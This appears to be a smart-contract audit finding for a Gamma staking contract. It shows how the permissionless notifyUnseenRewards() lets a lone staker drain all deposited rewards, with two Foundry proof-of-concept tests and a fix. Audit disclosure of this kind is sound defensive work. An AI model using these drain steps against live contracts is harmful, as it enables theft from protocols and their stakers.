Fit Marigold Squirrel

high

# Viable Pathways for entire Rewards Token to Be Stolen With Small Amount

## Summary
The entire rewards deposited can be stolen by malicious users through viable pathways.

## Vulnerability Detail
According to the protocol:
> The reward tokens will be sent periodically to the staking contract and function ```notifyUnseenRewards()``` will be called.

While the permissionless of rewards initialization (```notifyUnseenRewards()```) at first does not seem like a deal breaker, until we realize that the staking contract employs an earning system whereby if there's only one staker in the contract, then the entire available rewards go to the staker with immediate effect. In other words, if there's only one staker then the entire reward goes to the staker instantly...all the staker has to do is to call ```getAllRewards()``` and get the entire deposited rewards token instantly (at the time). 

This also implies that the first and only staker with a locked amount or balance gets the entirety of the rewards available at the time before any other staker joins. Ideally, this wouldn't have been an issue if the Staker had to wait for a particular period (usually a reward period) to claim the entire rewards available if there are no Staker besides him but in this case, they are allowed to claim the entire reward instantly if rewards are available though will have their stakes locked (since protocol said ```"...we'll keep the lowest lock time at around 30 days"```) but won't matter if the locked amount is smaller than the gained or stolen reward tokens. This allows pathways like malicious users to monitor and wait for reward deposition, stake immediately after (i.e. become the first staker) with a small amount and take the entire rewards available. This way they will be locking a small amount (which could later be seized) for a higher reward.

Since rewards are deposited periodically the possibility of this issue splits into 2 parts:
* 1. Rewards get deposited when no stakes: This is the easiest pathway for attackers or malicious users by simply monitoring the arrival of the rewards, then staking a very minimal amount (for example 1 wei) and immediately calling ```notifyUnseenRewards()``` to initialize rewards then steal the entire available rewards by calling ```getAllRewards()``` before any other staker joins.
* 2. Rewards get deposited when Stakers available in the contract already opted for ```exitLateById()```: In this case, there are a bunch of Stakers in the contract but all these Stakers have already claimed available rewards and decided to withdraw their stakes by calling ```exitLateById()``` and wait for their ```unlockTime```. While waiting, if rewards were to be deposited at the time, a malicious user from the bunch of Stakers waiting for their ```unlockTime``` can quickly call ```restakeAfterLateExit()``` to restake, and immediately call ```notifyUnseenRewards()``` to initialise rewards then quickly claim the entire available rewards before anyone joins. Even though they will have their stakes locked, it will still be of the attacker's benefit if the locked amount is less than the entire reward stolen. (Also, anyone external can stake immediately, initialize the rewards, and steal the deposited rewards if by chance all available stakers already opted for ```exitLateById()```)

While the ```notifyUnseenRewards()``` employs this check ```if (lockedSupplyWithMultiplier == 0) return;``` to avoid initializing rewards if rewards were sent to the contract when no active stakes i.e If there is no locked supply with multiplier, but the permissionless of the function makes it avail for anyone to deposit a small amount, initialize and steal the entire rewards.

Another concerning angle is that any reward token that is mistakenly sent to the contract will automatically be lost to the available stakers i.e admin will not be able to rescue this token with ```recoverERC20()```, because users (malicious or not) will probably have called ```notifyUnseenRewards()``` to add the sent token as cumulative rewards and claim it immediately. This will be shared amongst the stakers available in the contract (if more than one) or all claimed by the only staker therefore ```recoverERC20()``` will be rendered useless. 

## POC (1)
Run ```forge test --match-test testHack1 -vv``` on ```Withdraw.t.sol```
```javascript
function testHack1() public {
        // Rewards sent but not initialized since lockedSupplyWithMultiplier == 0
        vm.prank(deployer);
        _rewardToken.transfer(address(lock), 300e18);

        uint256 balanceBeforeAttack = _rewardToken.balanceOf(address(lock));
        console.log("Available Rewards Before Attack:", balanceBeforeAttack);

        //malicious user sees the opportunity and stake very small amount to steal the entire rewards
        vm.startPrank(user3);
        lock.stake(1e18, user3, 2);
        lock.notifyUnseenReward(rewardTokens);
        lock.getAllRewards();

        uint256 balanceAfterAttack = _rewardToken.balanceOf(address(lock));
        console.log("Available Rewards After Attack:", balanceAfterAttack);
    }
```
```javascript
Logs:
  Available Rewards Before Attack: 300000000000000000000
  Available Rewards After Attack: 0
```
## POC (2)
Run ```forge test --match-test testHack2 -vv``` on ```Withdraw.t.sol```
```javascript
function testHack2() public {
        // Users stake tokens
        vm.prank(user1);
        lock.stake(100e18, user1, 0);
        vm.prank(user2);
        lock.stake(100e18, user2, 1);
        //malicious user 
        vm.prank(user3);
        lock.stake(1e18, user3, 2);
        
        //some time went by
        vm.warp(block.timestamp + 10);

        // First Reward distribution
        vm.prank(deployer);
        _rewardToken.transfer(address(lock), 300e18);
        vm.prank(deployer);
        lock.notifyUnseenReward(rewardTokens);

        //everyone claims respective rewards
        vm.prank(user1);
        lock.getAllRewards();
        vm.prank(user2);
        lock.getAllRewards();
        vm.prank(user3);
        lock.getAllRewards();

        //some time went by again
        vm.warp(block.timestamp + 5);

        //By chance the available stakers decide to unstake i.e exitLateById()
        
        // Fetch the first lock for user1, user2, and user3  and perform a late exit
        LockedBalance[] memory user1Locks = lockList.getLocks(user1, 0, 10);
        LockedBalance memory user1Lock = lockList.getLockById(user1, user1Locks[0].lockId);
        vm.prank(user1);
        lock.exitLateById(user1Lock.lockId);

        LockedBalance[] memory user2Locks = lockList.getLocks(user2, 0, 10);
        LockedBalance memory user2Lock = lockList.getLockById(user2, user2Locks[0].lockId);
        vm.prank(user2);
        lock.exitLateById(user2Lock.lockId);

        LockedBalance[] memory user3Locks = lockList.getLocks(user3, 0, 10);
        LockedBalance memory user3Lock = lockList.getLockById(user3, user3Locks[0].lockId);
        vm.prank(user3);
        lock.exitLateById(user3Lock.lockId);


        //some time went by again
        vm.warp(block.timestamp + 5);

        // While stakers await for their unlockTime new reward is added 
        // but not initialized since lockedSupplyWithMultiplier == 0
        vm.prank(deployer);
        _rewardToken.transfer(address(lock), 300e18);

        uint256 balanceBeforeAttack = _rewardToken.balanceOf(address(lock));
        console.log("Available Rewards Before Attack:", balanceBeforeAttack);

        //malicious user sees the opportunity and pounce on it
        vm.startPrank(user3);
        lock.restakeAfterLateExit(user3Lock.lockId, 2); 
        lock.notifyUnseenReward(rewardTokens);
        lock.getAllRewards();
        vm.stopPrank();

        uint256 balanceAfterAttack = _rewardToken.balanceOf(address(lock));
        console.log("Available Rewards After Attack:", balanceAfterAttack);
    }
```
```javascript
Logs:
  Available Rewards Before Attack: 300000000000000000002
  Available Rewards After Attack: 2
```

## Impact
Stealing of entire reward tokens/Lose of funds for protocol

## Code Snippet
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L501-L511
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L466-L481
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L484-L497
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L494
## Tool used

Manual Review

## Recommendation
While the employed earning system is debatable, it is fair enough to deem it a design choice, therefore the best and easiest way to mitigate this issue while respecting the earning system is to employ the initialization of rewards (i.e calling of ```notifyUnseenRewards()```) to strictly whitelisted entities or ```onlyOwner```. This way only the allowed trusted entities or ```Owner``` can initialize rewards at will i.e when reward tokens are sent to the contract, only the trusted entities or ```Owner``` can call ```notifyUnseenRewards()``` to initialize rewards at the right and fair time (for users).
